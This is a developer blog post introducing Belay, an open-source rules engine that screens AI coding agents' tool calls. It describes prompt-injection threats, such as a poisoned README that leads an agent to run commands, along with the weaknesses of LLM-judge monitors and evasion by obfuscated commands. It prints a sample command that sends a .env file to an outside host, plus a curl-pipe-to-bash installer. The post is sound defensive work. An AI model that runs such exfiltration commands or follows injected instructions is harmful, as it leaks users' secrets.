DEV Community

Dennis Liu
Dennis Liu

Posted on

I built a security layer for AI coding agents — here's how it decides, with no LLM in the loop

I gave my coding agent shell access and mostly it was great — until it wasn't.

One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a .env over curl "to test the deploy." The usual answer is a human approving every call, which nobody actually does past day two. The other answer — an LLM watching the LLM — is slow, non-deterministic, and itself injectable.

I wanted something boring and correct: a deterministic policy engine at the tool-call boundary that blocks the clearly-dangerous stuff in milliseconds and only interrupts me when a call is genuinely ambiguous.

That's Belay. It's open source (AGPL-3.0), local-first, and runs as your user. Here's the threat model, where it sits, and exactly how it makes a decision without ever calling a model.

The threat model: what goes wrong when agents get tool access

From a security standpoint, an AI coding agent is an unprivileged process that takes instructions from an untrusted source and turns them into actions. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.


So the failure modes aren't exotic:

  • Secret exfiltration — the agent reads ~/.aws/credentials or .env and pipes it to a URL.
  • Destructive commandsrm -rf against the wrong path; a "cleanup" that isn't.
  • Reverse shells / C2 egress — an outbound connection to somewhere you didn't approve.
  • Prompt injection → action — a poisoned README says "run this to set up the project," and the agent does.

The important structural detail: everything the agent does to the outside world goes through one choke point — the tool call. That's where intent becomes action, and that's where I think enforcement belongs.

Why not "an LLM to guard the LLM"

The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. I think that's the wrong layer for a hard security boundary, for three reasons:

  1. Non-determinism. The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.
  2. Latency. A model round-trip on every tool call is too slow to sit synchronously in the hot path.
  3. It's part of the attack surface. The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.

For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating.

Where Belay sits

Belay wires in at the tool-call boundary two ways, so it's agent-agnostic:

  • Hooks — for agents with a native hook system (Claude Code, Codex), it registers PreToolUse / PostToolUse hooks. Every tool call is evaluated before it runs.
  • MCP proxy — for anything speaking the Model Context Protocol, Belay sits inline as a proxy, so every tools/call passes through it first.

One installer auto-detects what you already run — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, OpenClaw, opencode — and wires in the right way for each. It runs as your user (never root) and never phones home.

How it decides — deterministic, no LLM

When a tool call arrives, Belay classifies it against a compiled rule catalog and returns one of three verdicts:

  • Allow — clearly safe. Runs silently, no prompt fatigue.
  • Deny — clearly dangerous (secret exfil, rm -rf, reverse shells, injection-driven calls). Blocked outright.
  • Ask — genuinely ambiguous. Pauses and asks a human (more on that below).

Two properties matter most:

  • No LLM in the decision path. It's a deterministic rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously.
  • Fail-closed. If evaluation errors, times out, or a call can't be classified, the result is deny, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is Deny > Ask > Allow.

Conceptually, a blocked call looks like this:

tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host
Enter fullscreen mode Exit fullscreen mode

Nothing about that decision involved another model. It's a rule, and you can read it.

The ask path: one-tap Allow/Deny, from your phone

Not everything is clear-cut. Should the agent be allowed to git push to this remote? Install this package? Write outside the project directory?

For those, Belay's verdict is Ask — it pauses the agent and sends you a one-tap Allow / Deny. Not just in the terminal: over Telegram, Discord, WhatsApp, Matrix, Mattermost, or Slack. So you can let the agent keep working while you're away from the keyboard and just tap "deny" when it wants to do something you didn't intend. If you don't answer in time, it auto-denies — fail-closed again.

Coverage you can reason about: OWASP, MITRE, SARIF

Because the rules are explicit, findings map to frameworks instead of vibes:

  • Rules are tagged to the OWASP Agentic Security Initiative (ASI) Top 10, the OWASP LLM Top 10, and MITRE ATLAS.
  • Verdicts and scan findings export as SARIF 2.1.0, so they drop into the code-scanning tools your CI already understands.

There's also a static scanner for code/skills before you install them, a hash-chained (tamper-evident) audit log, and honeypot canaries — but the tool-call boundary is the core.

Honest limits — where I'd want you to push

I'd rather tell you what this doesn't do than get called out for it:

  • It's a policy layer, not a sandbox. It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Defense-in-depth still wants containers or VMs underneath.
  • Deterministic rules mean an evasion arms race. Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a real surface. I'd genuinely like input here.
  • Human-in-the-loop trades security for UX. Too many "Ask" prompts and people click through them. Tuning the allow/ask/deny line is ongoing.

Try it


Enter fullscreen mode Exit fullscreen mode

curl -fsSL https://dl.belay.secblok.io/install.sh | bash

Enter fullscreen mode Exit fullscreen mode

Or grab the desktop app / see the docs at belay.secblok.io.

If you run agents unattended, I'd love your feedback on two things specifically: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The block/allow rules are in the open — come argue with them, break them, and PR the ones I missed.

Top comments (0)